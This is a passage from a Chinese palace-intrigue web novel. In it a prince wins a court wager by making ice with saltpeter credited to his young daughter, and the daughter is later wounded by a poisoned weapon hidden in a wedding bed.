司徒澈闻言笑意一收,冷声问道:“太子也知道不能拿晚辈开玩笑?那刚刚为何拿臣弟的昭华开玩笑?” 司徒霄…被噎住了,颤抖的指着他,却说不出一句反驳的话。 毕竟确实是他先开玩笑的。 “哟,又怎么了?”几个王爷也来了,开口的是老九司徒泽。 司徒澈笑道:“也没什么,跟太子闲聊了一会儿。” 司徒泽:“…”可是太子的脸色好难看哦,你跟他说了啥啊?好难猜啊! 司徒澈不想一大早的,就破坏兄弟们的好心情,笑着岔开话题:“你们怎么凑一块去了?” “还不是五哥!”司徒泽撇撇嘴:“他心情不好,晚上拉我们喝酒,昨晚我们都歇在花楼的,你闻,还一身脂粉味儿呢。” 司徒澈定睛一看,这才发现,几个兄弟都挺憔悴的,离得近了些,还能闻到一股子酒味和脂粉味。 一向爱干净重规矩的辰王居然破天荒没有穿朝服,一身青色锦袍也是皱皱巴巴。 最夸张的是襄王,脸上都还有个口脂印呢,也不怕回府后被他王妃打! 而睿王,一脸萎靡,明显还没从自家大女儿祸害未出生的孩子事中走出来。 辰王脸色有些不好,淡淡的瞥了睿王一眼,也没舍得说重话了:“下不为例!” 他真想回去好好洗个澡,可特么要上朝了,只能硬着头皮忍着恶心来了。 司徒澈笑了笑:“五皇兄为何不叫我?” “你王妃有喜七月有余,我就没叫你!”睿王笑得比哭还难看:“这世上的事,说不准的,你还是好好看着她,免得…” 免得什么,睿王说不下去了。 司徒澈叹息一声,拍了拍他的肩:“看开一点,孩子还能再有的,昭华不是有给五嫂送过药吗?五嫂如何?” “她恢复得很好,就是想起那个孩子…唉…终是我对不住她…”说是这么说,睿王也隐隐觉得好像是自己的错,可具体错在哪儿,他又不是很清楚。 哪怕睿王妃没有怪他,对他还是跟以前一样。 可…越是如此,他就越觉得愧疚。 “上朝~”太监尖细的声音响起。 睿王一个激灵强打起精神,几个王爷和文武百官也开始打量自己的衣着,没发现不妥后,这才昂首挺胸依次往外走。 来到金銮殿,文武百官跪了一地,高呼皇上万岁。 陈德福依旧日复一日的‘有事起奏,无事退朝’! 他刚说完,司徒霄就迫不及待的站了出来:“父皇,天气炎热,大夏以北已经开始缺水,民不聊生,儿臣请旨,愿前往北方救济灾民。” 司徒澈这人记仇得很,一听他这话顿时不屑的瞥了他一眼:“太子真想为父皇分忧,就该把你冬季存的冰拿出来才好。” 司徒霄闻言差点一口血喷出来。 我拿,我拿你大爷啊! 买卖官员的事败露,聚贤阁如今也生意萧条,他入不出敷,存了冰块可是想敛财的! 可是,顶着皇帝逼人的视线,司徒霄也不敢说不,硬扯出一笑道:“自然,儿臣愿拿出一半孝敬父皇,为减少宫中开销出一份力。” 本以为都这么说了,此事就算揭过了。 没曾想,司徒澈懒懒开口:“才一半?太子皇兄不诚心啊!” “…”司徒澈,老子要你死! 司徒霄深吸一口气,正想去财免灾的时候,司徒澈也站了出来,朝皇帝拱手:“父皇,昭华聪慧,心地纯善,不忍黎民百姓受炎热酷暑,特意给了儿臣一个制冰的法子。” “哦?”皇帝闻言眼睛一亮:“冰还能制?” “是!”司徒澈点头,一脸正色:“儿臣不敢妄言,昨日已经用这个法子成功制出冰块了。” “闻所未闻,一派胡言!”司徒霄拂袖冷哼:“孤怎么不知道,冰还能制?七皇弟,你知道欺君之罪是什么下场吗?” “世界之大,无奇不有,太子不知道,那只能说明太子孤陋寡闻!” 司徒澈不紧不慢反唇相讥,言罢不顾司徒霄铁青的脸,看向皇帝:“父皇,儿臣会私下把方法告诉父皇,为父皇分忧!” “好!”皇帝哈哈大笑,对宝贝儿子深信不疑:“若是有用,朕定要重赏昭华!” “父皇!”司徒霄不干了:“既然七皇弟信誓旦旦,不如当众做出来,让儿臣与文武百官长长见识?” 司徒澈斜睨着他:“太子皇兄这是要与臣弟打赌吗?” 第162章 小小女子不输男儿 司徒霄冷哼:“赌就赌,孤可不信你的一派胡言!” “那…”司徒澈摸着下巴想了想,道:“臣弟实在,府中也不如太子皇兄富贵,赌注就五万两银子吧!太子皇兄以为如何啊?” 司徒霄脸色发青,恶狠狠的瞪着他。 他最近穷得都快喝西北风了,就不信司徒澈不知道。 这分明是故意的。 司徒澈:“太子皇兄这么看着臣弟作甚?要是你不愿意,就…” “好!”司徒霄脑子一热,脱口而出:“孤跟你赌!” “…”真是蕊蕊说的那什么,哦对了,沙雕啊! 他司徒澈难道还会拿这种事情开玩笑? 司徒霄,真是一点都不了解他! “父皇,你觉得呢?”虽然太子同意了,司徒澈还是要经过皇帝首肯。 皇帝看了看两个儿子,眼底划过一丝精光,笑得像个弥勒佛:“也罢,不过丑话说前头,若是做不出来冰块,朕可要算你欺君之罪了。” “是!”司徒澈拱手:“请父皇允许儿臣回府拿东西。” 皇帝:“准了!” 司徒霄阴阳怪气道:“七皇弟,别是直接拿一块冰来吧?” “总不会跑了,或是输不起,太子皇兄放心就是!” “…”狗东西,说话就说话,还要内涵我。 司徒霄也是搞不懂,别人的弟弟就乖巧可爱,为什么他的弟弟就是个痞里痞气的混账。 可他也不想想,他自己又像不像一位兄长。 自私的人只会从别人身上找原因,从不会反省自己,错在哪里! 司徒澈动作很快,半个多时辰就回来了。 他当然不会拿来硝土,一步一步做给大家看,而是直接拿了提纯后的硝石晶块。 只不过,在这个冷兵器时代,别人不认识硝石啊! 看到这些白色的粉末,文武百官都不认识。 司徒霄更是嘲笑道:“七皇弟,你这东西,到底是盐还是糖啊?” “太子皇兄等着就是,别出声打断臣弟。”司徒澈毫无耐心,言罢不顾黑脸太子,让太监端了一盆清水来。 然后,就在众目睽睽之下,把硝石晶块倒入水中。 神奇的事发生了,一盆清水在众目睽睽下,开始凝固。 “变了,真变了!”朝臣们惊呼出声,一个个像是看稀奇似的。 皇帝也从龙椅上站了起来,伸长脖子看着那盆水,慢慢凝固成冰块! 文武百官目瞪口呆! 司徒霄脸色惨白! 皇帝哈哈大笑,龙颜大悦:“好!好!老七,你那些粉末到底是什么东西啊?” 司徒澈如实道:“这是一种叫硝石的东西,具体如何提炼,儿臣会私下告诉父皇。” “好好好,很好!”皇帝一连说了几个好,心情无比美丽。 只要有了这个法子,那些生活在酷暑之地的百姓至少不用被热死,从此以后冰块再也不是权贵的专属,它会变成老百姓都买得起的东西了。 “怎么可能,这怎么可能…”司徒霄如遭雷劈,完全无法相信自己看到的一切。 居然真的有制冰的法子? 那…那他花光老底攒的那么多冰块怎么办? 皇帝斜睨着他:“太子,愿赌服输。” “…”是了,还有五万两银子! 司徒霄像是被打击了一样后退两步,眼前阵阵发黑。 司徒澈气死人不偿命的嘶了一声:“太子皇兄…你这身体不怎么好啊,有让太医看过吗?” “孤…好得很!”司徒霄这他这话刺激得,坚挺的站住了,说的话却像是从牙缝中挤出来一样,整颗心都在滴血! 司徒澈:“那就好,太子皇兄可是大夏储君,可要好好保重才是。” 这话说得! 要是保重不了,不就做不成储君了? 在场哪个不是人精啊,都听出来了。 司徒霄闭了闭眼,强迫自己努力平静下来:“孤身体很好,多谢七皇弟关怀!” “…”我是挺关心你的,关心你啥时候嗝屁! 司徒澈冷哼一声,朝皇帝拱手,直接告状:“父皇,昨日昭华跑遍京城茅房,就是为了寻找硝石,天气炎热,茅房那种地方您也知道,又脏又臭。儿臣本想让昭华休息,不必亲力亲为,可昭华却说,身为郡主,就该以身作则,为百姓谋福祉,为她的皇爷爷排忧解难。可…” 说到这里,司徒澈垂下眼眸,看上去有些憋屈:“太子皇兄不知从何处得知此事,今早一来,太子皇兄竟然用这个取笑昭华,还说她…口味变了,想吃点不一样的,儿臣真是替昭华委屈…” 司徒澈也不想告状,可他不希望唐蕊的名声再受到损坏。 女子家家,要是真被人误以为吃屎,那以后还怎么出门见人? 必须解释清楚,为唐蕊正名! “原来如此啊…今早在朝房太子殿下确实在说这事,没想到,真相竟然是这样。” “昭华郡主年纪轻轻,不惧流言,想方设法为百姓,为皇上分忧,小小年纪,实在难得!” “是啊,我等自愧不如啊…” … 文武百官或赞叹或惭愧。 还有几个早上听司徒霄说了这事后,觉得唐蕊真想吃屎的官员,此时一脸羞愧。 他们都是朝廷栋梁,可关键时刻,却要一个小女子来解决问题。 最郁闷的是,他们还在心里笑话过这个为国为民的小姑娘。 皇帝目露赞赏,自从上次那顿火锅之后,他对唐蕊亦多了一份亲近:“昭华确实聪慧,小小女子不输男儿,能教出这样的女儿,老七,你也有功!” 说到这里,皇帝话音一转:“陈德福,传朕旨意,昭华郡主赏金千两,璃王重掌黑鳞骑,一会儿把黑鳞骑的兵符送去璃王府。” “父皇不可!”司徒霄神色大变:“七皇弟旧伤刚愈,还要监管兵部,实在是…” “朕意已决!”皇帝打断他的话,眸色也沉了下来:“太子,老七将帅之才,天下皆知,以前他受了伤,腿脚不便,也就罢了,现既已痊愈,就该为大夏出一份力才是。朕,倒是想让你接管黑鳞骑镇守一方,为朕分忧,但你行吗?嗯?” 司徒霄很想说,我怎么就不行了。 但…这话他自己都说不出口! 第163章 孙儿想去军营 神经病吧? 他可是太子,怎么可能去前线? 他又不是司徒澈那个变态,一点武功都不会,一不小心就会送命的。 再说了,就算他不用去前线,黑鳞骑那些兵蛋子一个比一个混,他想管也管不住啊! 以前皇帝有让他试着接手黑鳞骑。 结果…没有结果… 那些兵蛋子都是些大老粗,他吩咐的事一个个嘴上答应得好好的,转个头要么无视,要么乱搞! 最特么可恶的是,私下还说他皮肤跟娘们一样白嫩! 就三天,他就被气得吐血三升! 见司徒霄张了张嘴,却说不出一个字,皇帝冷哼一声:“能者居之,要不是你不行,你弟弟也不用这么辛苦!” “是…”司徒霄憋屈拱手,气得眼睛都红了。 兵部到了司徒澈手里,兵权也回到了司徒澈手里。 父皇,你到底是想干什么? 我才是太子啊! … 散了朝,司徒澈来到皇帝书房,当即把硝土提纯的步骤一一告知。 皇帝执行力也很强,立刻把这事交给了工部,让工部尚书到处去找硝土。 一时间,整个京城的茅厕每天都要被几伙人光顾无数次。 百姓们表示:京城的茅厕从来都没这么干净过。 茅厕周围的土被人刨了又刨,挖了又挖,也不嫌臭。 苦逼的工部尚书:“…” 怎么就不嫌臭了? 要不是皇帝下了死命令,他是疯了啊,这么热的天钻各个茅厕? 不过,你还别说,按照皇帝给的方法,还真能用这些土里提出那什么叫硝石的东西来。 往水里一倒,水就自动结冰了。 一天时间,看着地窖里堆得满满当当的冰块,工部尚书叹息:“人比人得扔啊…” 工部侍郎狐疑脸:“大人,这话什么意思?” “唉…”工部尚书叹息道:“这法子,是昭华郡主想出来的,那么小的孩子,怎么就懂得这么多啊?我的孙儿比昭华郡主还大一岁,天天追鸡撵狗,像个皮猴,四书五经什么都不会,人和人之间的差别,怎么就这么大呢?” 工部侍郎:“…”你这问题,误入我知识盲区了,我也想知道,昭华郡主的脑瓜子是怎么长的。 吐槽归吐槽,佩服也是真佩服。 短短几天时间,工部尚书就成了行走的制冰机。 京城的冰块也开始多了,价格一降再降! 到了最后,一文钱就能换一个大冰块! 处理好京城的用冰需求,工部尚书开始出差,一路往大夏北部地区而去,沿途继续充当制冰机,解决黎民百姓的生存问题。 以往每年夏季,北方干旱地区都会热死很多人。 今年有了唐蕊提供的法子,很多干旱地区的百姓虽然依旧吃不饱,但却顽强的活了下来。 他们得知是昭华郡主提供的制冰法子后,都对唐蕊非常感激。 民间甚至开始传言,昭华郡主就是观音座下的女仙童,不忍人间疾苦,专门下凡救苦救难来了。 而去年冬天存了很多冰块,想发点财的司徒霄:“…” 脸色一天比一天黑,整个人一天比一天暴躁,天天窝在东宫砸东西,无能狂怒。 最后,甚至连早朝都不去了。 他不去,皇帝也不想看到他,都没派人来问一声。 唯一着急的,只有皇后。 皇后来到东宫,把司徒霄一顿数落。 但,这次司徒霄却不如以往那般恭顺听话,而是自嘲一笑:“母后,儿臣这个太子早就有名无实了。” 一直想争取的兵部到了司徒澈手里,现在兵权也回到了司徒澈手里。 有眼睛的都看得出,皇帝这是在帮司徒澈培养势力。 皇帝,要换太子,势在必行! 皇后烦躁道:“本宫说了,只要有本宫在一天,你就依旧是太子,只要你还是太子,以后就能做皇帝!” 这是她的底线,就算是皇帝来了也没得商量,不然她真会死给皇帝看的。 司徒霄笑容苦涩:“母后,儿臣累了,想做的事一件也做不好,就连老天也不站在儿臣这边,儿臣真的累了。” “没用!”皇后怒骂一声,来回走动几步,神色一狠:“不就是昭华那个丫头片子吗?既然她不安分,本宫替你除掉她就是了。” 司徒霄闻言愣了愣,眼底复杂之色一闪而逝:“这…不必吧…孩子总是无辜的,昭华天真烂漫,年纪又那么小,我与老七的纷争,不该把她扯进来!” 皇后狠声道:“她害死嫱姐,还次次坏你好事,这丫头邪门得很,绝不能留!” 哪有六岁的孩子这么聪明,脑子里有那么多鬼主意的? 这正常吗? 在皇后看来,唐蕊就是个彻头彻尾的妖孽! “皇奶奶说得没错!”稚嫩冷漠的童音传来。 母子二人抬眸看去,司徒谨不知何时出现在门口,逆着光,让人看不清他脸上的表情。 司徒谨拱了拱手,跟皇后行了礼,这才面无表情道:“父王,您曾说过,立场不同,成王败寇。东宫与璃王府注定是死敌,死敌的女儿也是死敌,为何现在,您要迟疑?” 司徒霄皱眉道:“你怎么来了?” 司徒瑾抬起头来,眼眸里黝黑一片,没有丝毫光亮:“回父王,儿臣不想再去国学监了,想去黑鳞骑历练。” 司徒霄一听反射性呵斥:“胡闹,黑鳞骑是军营,你一个小孩子去那里做什么?” “璃王叔六岁就入军营,儿子八岁了,为何不能?”司徒瑾言罢跪下,看向皇后:“皇奶奶,男儿当自强,四书五经孙儿实在念不下去,孙儿想去军营,还望皇奶奶成全!” 皇后眯起眼眸:“你说,你想入黑鳞骑?” “是!”司徒瑾语气坚定,没有丝毫犹豫:“孙儿想为父王,为皇奶奶出一份力。” “好,不愧是本宫的孙儿!”皇后倍感欣慰,亲手扶起他,按住他的肩膀,略带深意道:“皇奶奶一会儿会约你璃王叔进宫,去了黑鳞骑,你可要给皇奶奶争口气。” “孙儿谨遵皇奶奶懿旨!”司徒瑾垂下眼眸,面上一片冷凝。 … 第164章 司徒泽大婚 皇后从金光寺回来后,就没搭理过司徒澈这个儿子。 今天居然破天荒的来请他了。 司徒澈:“…” 他当然不会觉得皇后是想起母子之情了。 会找他,估计是为了兵部和黑鳞骑的事。 果不其然,一到了,好嘛,居然是为了司徒谨进黑鳞骑的事。 司徒澈一脸无语,拱手垂眸:“母后,儿臣恕难从命。” “你六岁就能入军营,为何谨哥就不可以?”皇后眉眼一冷,不知想到什么,冷笑连连:“你别是担心,谨哥抢了你的黑鳞骑吧?” 司徒澈吐出一口浊气,解释的欲望都没了:“母后要这么想,儿臣也没办法。” “司徒澈!”皇后一拍桌子怒道:“本宫是你生母,谨哥是你的亲侄儿,就这么一件小事,你都不愿意吗?” “…”你还知道你是我的生母啊? 司徒澈也曾质问过皇后,可得到的却是怒骂与嘲讽。 事到如今,他也不想问皇后这些年有没有尽到一个母亲的责任了,而是淡声质问:“儿臣三岁习武,五岁赢过羽林军副统,所以六岁能入军营。谨哥八岁,从没习过武,入军营后要是出了事,母后会不会治儿臣一个看护不利的罪名?” 皇后反射性道:“本宫岂是那种…” “不!”司徒澈打断她的话,定定的看着她:“母后就是这种人!” “你…你…”皇后被他这话气得眼前一黑,手指颤抖的指着他:“逆子,你敢诽谤本宫?” “是不是诽谤,母后心里清楚!”司徒澈微不可见笑了笑,与她相似的眼眸里再也没有孺慕之情:“儿臣公务繁忙,就不叨扰母后了,儿臣告退!” 司徒澈扔下这话转身离开。 皇后气得差点吐血,拍着桌子不停骂着逆子。 司徒澈听到了也当没听到。 什么母子之情,他与皇后之间早没这种东西了。 “司徒澈,既然你给脸不要脸,就别怪本宫心狠了!”皇后恨恨的看着他渐行渐远的背影,咬牙切齿的声音犹如夜里吐着蛇信的毒蛇。 … 有了冰块,大夏酷暑地区的死亡率大幅度降低。 皇帝后续又像往年一样,派人去赈灾,分发粮食与清水,稳定民心。 然而,今年的夏天好似格外炎热,持续时间还很长。 往年七月,这温度就会慢慢降下来。 可今年,七月过半,艳阳依旧炙热。 一到白天,整个京城暴露在烈阳之下,街上行人都没几个。 太阳落山后,街道上才会热闹起来。 皇帝很忧愁! 夏日一直不结束,他的国库每天以肉眼可见的速度缩水,有点支撑不住了。 陈德福见他眉头紧锁,温声安抚:“皇上,咱们大夏人杰地灵,得上苍庇护,奴才听说东临和北狄今年可是死了很多人啊!特别是北狄,路上随处可见热证而死的尸体,又不及时处理,整个都城臭气熏天呐。” “朕知道!”没有对比就没有伤害,有了对比,皇帝又恢复了一些斗志。 但,想到受苦受难的百姓,他心里很不是滋味:“朕呐,就是不忍心,恨不得把北部地区的百姓全部迁走才好。” “哎哟喂,皇上待百姓犹如亲子,百姓们要是能听到皇上这番话,还不知道多感动呢!但是吧…”陈德福先是拍了拍龙屁,接着话音一转:“皇上,迁都一事事关重大,若不是大灾大难活不下去,百姓们也不愿离开故土啊!” 古人都讲究落叶归根,特别是那些地方土生土长的老百姓,没几个想离开自己的故土。 这事啊,难! 皇帝叹息一声,抬眸看了看外面的天色,喃喃说道:“希望酷夏早日结束,别出什么岔子才好。” 陈德福笑呵呵道:“皇上所愿,定能实现,祭天的日子就快到了,太子殿下最近也一直在准备,相信祭天之后,一切都会好起来的。” “嗯,但愿吧…” 大夏祭天都是入秋那一天,八月初七。 据钦天监所言,祭天之后不久,这温度就降下去了。 皇帝说罢,又问起秦芷嫣:“老七家的是不是快生了?” 陈德福点头:“现在已孕八月,很快啊,皇上您又会添一个小嫡孙呢!” “呵呵…”皇帝心情好了一些:“好,好啊,希望他如昭华一般,是个聪慧的。” “那必须呀,俗话都说得好,龙生龙凤生凤呢,看看昭华郡主就知道,以后璃王小世子肯定是个聪慧的。” 陈德福掩唇一笑,又提醒皇上:“皇上,还有晋王殿下,大喜之日也将近了,您…要去一趟吗?” 皇帝倒是忘了这一茬:“什么时候?” 陈德福:“就在四日后。” “让高贵妃替朕去吧!”本来皇帝想亲自去的,但他因为这天气烦得很,实在是没心情。 陈德福自然应下。 … 四天时间一晃而过! 晋王娶亲,整个晋王府张灯结彩! 黄昏时分,司徒泽身着喜服,坐着高头大马,迎亲的队伍浩浩荡荡,前往朱家。 唐蕊也穿戴整齐,上了司徒澈的马车,出发前往晋王府。 两天前司徒泽专门上门,拜托她充当喜童。 古代的喜童也称压床娃,还有些地方叫喜童滚床。 把新床铺好之后,会请身体健康、聪明伶俐的喜童到婚床上滚一滚,从床头滚到床尾,再从床尾滚到床头,为新人增添福气和结婚的喜庆气氛,暗寓新人来年也生同款聪明的宝宝。 司徒泽说,她最聪明,所以一定要她来当这个喜童! 唐蕊还能说啥,滚就滚呗! 这门婚事能成,她也出了不少力呢,自然要给面子。 秦芷嫣月份大了,行动不便,没有跟着一起去,而是顾侧妃代劳。 临行前,秦芷嫣挺着大肚子,把准备的贺礼递给司徒澈,看他的眼神都快拉丝儿了:“王爷,妾身给九皇弟备了礼,您最近公务繁忙,也别饮酒过度才是。” “好!”司徒澈笑看着她隆起的肚皮:“你在府里也要当心,没事就好好躺着,本王回来后就去看你。” 第165章 变故 “妾身知道了。”秦芷嫣抿唇一笑,又看向打扮得精致可爱的唐蕊,眼神慈爱:“蕊蕊,母妃让容嬷嬷给你温着清热解暑的绿豆汤,回来后记得喝一点再睡。” 唐蕊点头:“好哦母妃,我记住啦。” “好了姐姐!”顾侧妃笑道:“你快回去歇着吧,我会照看好蕊蕊的。” “有劳妹妹了。”秦芷嫣微微颔首,退后一步。 司徒澈放下车帘,清风架着马车离开。 直到马车消失在视线中,秦芷嫣才挺着孕肚转身回府。 一旁的徐嬷嬷笑道:“小郡主也是有心了,每天都会抽时间来给您把脉,还会询问老奴您今天吃了什么,喝过什么,生怕您有什么闪失似的。” 秦芷嫣心里被幸福塞得满满的,笑着说道:“母女连心,做女儿的自然关心母亲。” “不仅是女儿关心母亲,母亲的也很关心女儿呢!”徐嬷嬷看着她的孕肚,也是真心为她高兴:“王妃与小郡主就像是亲母女一样,实在难得。” 秦芷嫣闻言娇嗔的瞪了她一眼:“什么像是,蕊蕊本就是我嫡亲的女儿。” “是是是!”徐嬷嬷呵呵一笑,轻轻拍了拍自己的嘴:“瞧老奴这张嘴,话都不会说,王妃与小郡主前世也肯定是亲母女,不然小郡主为何这么亲近王妃呢!” “是啊…”秦芷嫣轻抚着自己的肚子,似乎陷入了什么美好的回忆中,唇角一直带着笑:“不然我怎么瞧她的第一眼,就喜欢呢!” 人和人之间的缘分,就是这么奇妙呢! … 晋王娶亲,声势浩大! 队伍到了朱府后,已经跟了一溜串百姓看热闹了。 朱妙婈一身红色嫁衣,被庶兄背着出来。 晋王哈哈一笑,喜婆们也赶紧洒铜板,嘴里吉祥话不断。 得了钱的百姓们也很给面子,纷纷恭贺晋王大婚! 朱妙婈坐上花轿后,队伍绕着京城吹吹打打三圈,才来到晋王府。 司徒泽射箭撞击轿门,新娘下轿跨火盆。 府中已经高朋满座,很多达官显贵都到了。 几个王爷穿着锦袍,不会显眼,也不会失礼。 只有司徒霄,穿得金光闪闪,活像一个行走的大元宝,还臭着一张脸。 司徒谨安安静静待在他身边,好像活在自己的世界中,对周遭的一切都没反应。 这父子二人与其他人的表情完全不同,倒不像是来参加婚礼的,而像是来参加葬礼似的。 几个王爷不时看向他俩,蹙眉的蹙眉,不满的不满。 襄王年纪轻,最是冲动,都差点上前跟司徒霄理论了。 但,司徒澈却拦住了他,微微摇头,小声说道:“今日小九大婚,罢了!” “真不知道他们爷俩来干嘛的,摆出个死人脸,看着就晦气!”襄王暗骂一声,只能作罢。 “观礼吧,别管他就是了。”辰王说了一句,眼神都没给司徒霄一个。 他早就对太子绝望了,并暗暗发誓,绝不能让太子上位! 在众人的注视下,一对新人入正厅,准备拜天地。 就在这时… “高贵妃驾到!”通报声响起,婚礼暂停。 各个官员赶紧行礼。 “不必多礼了!”高贵妃一身喜庆的玫红宫装,明艳大气,在婢女的搀扶下笑着踏入正殿:“皇上公务繁忙繁忙,抽不开身,特意让本宫前来观礼。晋王,恭喜了。” 言罢,还抬了抬手,身后的婢女适时送上贺礼。 “多谢父皇关爱,劳烦贵妃娘娘!”晋王礼貌拱手。 高贵妃笑道:“都说了不必多礼,你也算本宫半个儿子,能来观礼,本宫很高兴。” “是,贵妃娘娘请上座!”司徒泽把贵妃请到主位。 高贵妃一直以来都愿意跟几个王爷搞好关系,对几个王爷都不错,在几个王爷心中印象很好。 这也难怪,高贵妃这人,一直以来都有自知之明。 虽然她的儿子司徒安也是皇子,但却是几个皇子当中最小的,她也没有显赫的母族。 前面几个皇子封王多年,除了睿王资质平平,其他几个王爷都是有能力的。 这个皇位,绝不可能轮到司徒安! 所以,打好关系很有必要。 以后不管哪个皇子坐上高位,至少不会亏待她们母子。 贵妃到了,该来的宾客也都来了,婚礼正式开始。 同一时间,顾若雪牵着唐蕊到了新人的婚房! 婚房里的喜婆和奴婢们看到二人,跪了一地。 “都起来吧!”唐蕊抬抬小手,直直走到床边,这才道:“怎么做?直接滚吗?” 喜婆起身笑道:“郡主,新人来了才行呀!还有,滚的时候得说吉祥话,不知郡主可会?” “会!”她可是做了功课的! 喜婆闻言松了一口气:“那就好,劳烦郡主等等!” 刚说完,就听到唐蕊的肚子发出咕咕声~ 喜婆:“…” 唐蕊嘿嘿一笑,摸着肚皮,也有点不好意思:“我来的时候看到那些桌上的吃的,就有点馋!” “郡主稍等,老奴让人去厨房给您拿些吃的。”喜婆自然是不敢怠慢唐蕊的,赶紧指了个丫头去厨房。 “谢谢哦,你人真好!”唐蕊给她发了张好人卡,就坐到一边安静等待了。 然而,一刻钟过去了,那丫头却一直都没回来。 又一刻钟过去,前面拜堂都结束了,一对新人在众人的簇拥下往新房来了,那丫头还是没回来。 顾若雪有点烦了,催促了喜婆好几次。 喜婆也很无语,赶紧让人去看。 可前面的拜堂已经结束了,顾若雪忍下不满,心疼的揉了揉唐蕊的脑瓜:“蕊蕊乖,新人来了,只能先忍忍了。” “顾庶母,没事哦,正事要紧!”唐蕊不是分不清轻重的人。 很快,吵闹起哄声逼近,新人进入洞房,众人意思意思闹了会儿,就轮到唐蕊了。 唐蕊迈着小短腿,在众人善意的笑声中,哼哧哼哧爬上新床,滚了一圈,嘴里奶声奶气喊道:“上滚床,下滚床,一年一个状元郎!” “是!”众人笑着齐声附和! 唐蕊得到回应,又继续滚了一圈,刚张口想喊贺词时,突然浑身僵住,一个没忍住痛呼出声:“好痛!” “呃?”众人愣住了! “腰,腰…”唐蕊眼泪在眼眶里打转,一动不动,无助的看向司徒澈:“爹爹,我的腰,被扎到了。” 司徒澈仔细一看,这才发现,唐蕊腰部处,衣裳已经溢开了血,顿时脸色大变,快步上前:“蕊蕊,怎么样?” 第166章 中毒,芙蓉殇 “疼…”唐蕊真不想哭,可忍了又忍,还没忍住呜咽出声:“爹爹,我好疼!” “蕊蕊!”顾若雪赶紧上前,颤抖的伸出手在唐蕊溢血处摸了摸,结果摸到了一个东西,神色骤变:“王…王爷,好像是…钢针。” “什么?”司徒澈也顾不得男女大防了,颤抖的伸出手在唐蕊腰部摸了摸,果然摸到了东西。 很粗,至少成人食指粗,还有一大截露在外面,不像是普通的钢针。 他想拔出来,可刚一动,唐蕊就闷哼一声,疼得小脸煞白。 司徒澈赶紧停下动作。 顾若雪急得直哭:“王爷别动,还不知道钢针多长。” “好,好,本王不动!”司徒努力冷静下来:“九弟,麻烦叫下府医。” 不用他说,司徒泽立刻让自己的小厮去找府医,随即冷冷的看向为首的喜婆:“怎么回事?为什么本王的喜床上会有钢针?” 喜婆早就吓白了脸,扑通一声跪下了:“老奴,老奴也不知道啊…” “不知道?”司徒泽气得一脚把喜婆踹倒,不顾她的哀嚎怒道:“你最好不知道,不然你就等着死吧!” 这… 喜事变祸事,众人面面相觑。 唐蕊也知道古代人忌讳这个,忍着疼,流着泪,小脸苍白,还在努力微笑:“九皇叔…对不起…昭华搞砸了…” 司徒泽满眼心疼:“昭华,不怪你,你忍忍,府医马上到。” 朱妙婈也很着急,可她是新娘,不能掀开盖头,只能出声安抚:“对,昭华,不怪你,疼不疼啊,怎么…怎么会发生这样的事…” 辰王眯起眼眸,仔细打量着屋里各个角落,试图找到可疑的地方。 睿王怕府医不给力,催促着自己的小厮去宫里请御医。 襄王视线落在司徒霄身上,可司徒霄一脸冷漠,根本看不出什么。 “府医还没来吗?” 司徒泽生怕唐蕊有个好歹,着急催促。 他话音刚落,府医就被自己的小厮拖来了。 府医见屋里这么多大佬,吓得一抖,跪下就要行礼。 可司徒泽却打断了他:“快来看看昭华,快!” “是,是…”府医来到床边,司徒澈也适时让开身。 “小郡主,得罪了,小的看看到底是什么东西!”府医温声安抚,摸了摸还没完全没入的钢针,仔细观察。 随即,他像是确定了什么,脸色微变:“各位爷,插进昭华郡主腰部的不是什么钢针,而是峨眉刺。而且,郡主流的血带着一股子奇异的味道,略粘稠,如果小的没猜错的话,这峨眉刺上,应该还有毒。” “什么?”司徒澈脸都白了。 顾若雪捂着嘴,惊呼一声,眼泪直掉。 司徒泽急道:“是什么毒?” 府医噎了一下,无奈的摇了摇头:“王爷,小的医术浅薄,实在看不出来。” “没用!”司徒泽一声吼,府医吓得扑通一声跪下了。 “九皇叔,别怪他…”唐蕊虚弱开口,医术不够这也是没办法的事。 司徒泽着急的来回踱步,睿王赶紧道:“别着急,我已经让人去请太医了。” “再派人去催!”辰王扯下自己的腰牌扔给自己的小厮。 小厮拿着腰牌赶紧跑了。 时间一分一秒过去,唐蕊越来越虚弱,眼前也阵阵发黑。 有些不妙啊! 这个毒好像不是一般的毒,她这百毒不侵的体质都有点抗不住了。 她想给自己把脉,可峨眉刺插入得有点深,一动就疼得厉害,只能硬生生的熬着。 一屋子人,也全都陪她熬着。 不光有几个王爷,还有太子,和一干朝臣。 顾若雪眼睛通红,不停给她擦着脑门的冷汗。 司徒澈着急的来回走动,不时看向门外,心里无比焦灼。 终于,太医院首姗姗来迟,刚要行礼就被司徒澈拉到床边:“快,给昭华看看!” “是!”太医仔细了检查了一番,有用银针沾了唐蕊的血放在鼻下嗅了嗅,随即神色骤变! “如何?府医说昭华中了毒,到底中了什么毒?”司徒澈急声问道。 院首瑟瑟发抖跪下,开始说起唐蕊的情况。 前面就和府医说得一样,插入唐蕊腰部的确实是峨眉刺,但说起毒的时候,太急忌惮的看了司徒澈一眼,这才小心翼翼开口:“璃王,小郡主这毒…好像是芙蓉殇…” “你说什么?”司徒澈惊呼一声,彻底白了脸。 府医被他吓得一哆嗦,硬着头皮开口:“王爷,臣年轻时曾随家父外出历练,有幸得知这种毒。芙蓉殇乃是剧毒,出自北狄,七日之内,中毒者的皮肤会越发白嫩,容貌也会越来越美,待到第七日,中毒者的身体会由内而外迅速溃烂,面目全非,不治而死,是为芙蓉殇啊!” 司徒澈的脑袋顿时像是被人锤了一拳,嗡嗡作响。 芙蓉殇! 他也中过此毒,他自然知道此毒多厉害。 可那时唐娆救了他,把金蚕蛊过渡到他身体里,慢慢蚕食毒素。 他能侥幸捡回一条小命,只是瘫痪多年。 唐蕊呢,唐蕊怎么办? 他要去哪里再找一只金蚕蛊救女儿? 只有七日,就算通知了唐娆,唐娆也不能在七日之内赶来啊! 怎么办? 怎么办? “来人,把这些喜婆和刚刚在屋里伺候的奴婢全都带走,本王倒要看看,谁敢在本王府中行如此歹毒之事。” 司徒泽一声令下,婆子和奴婢们不停求饶喊冤。 司徒泽全不理会,眼带歉意看向司徒澈:“七哥,是弟弟没有管教好府中下人,你放心,弟弟一定会给你一个交代的。” 司徒澈挥了挥手,来到床边看着唐蕊,眼底满是悲切与无力。 他统率三军,所向披靡,现在…却连救自己的女儿都做不到。 他愧对唐蕊,愧对唐娆… “爹爹…我没事…”唐蕊也没想到,竟然是芙蓉殇,怪不得这么厉害。 知道是什么毒就好办了,唐蕊吃力的朝司徒澈伸出手。 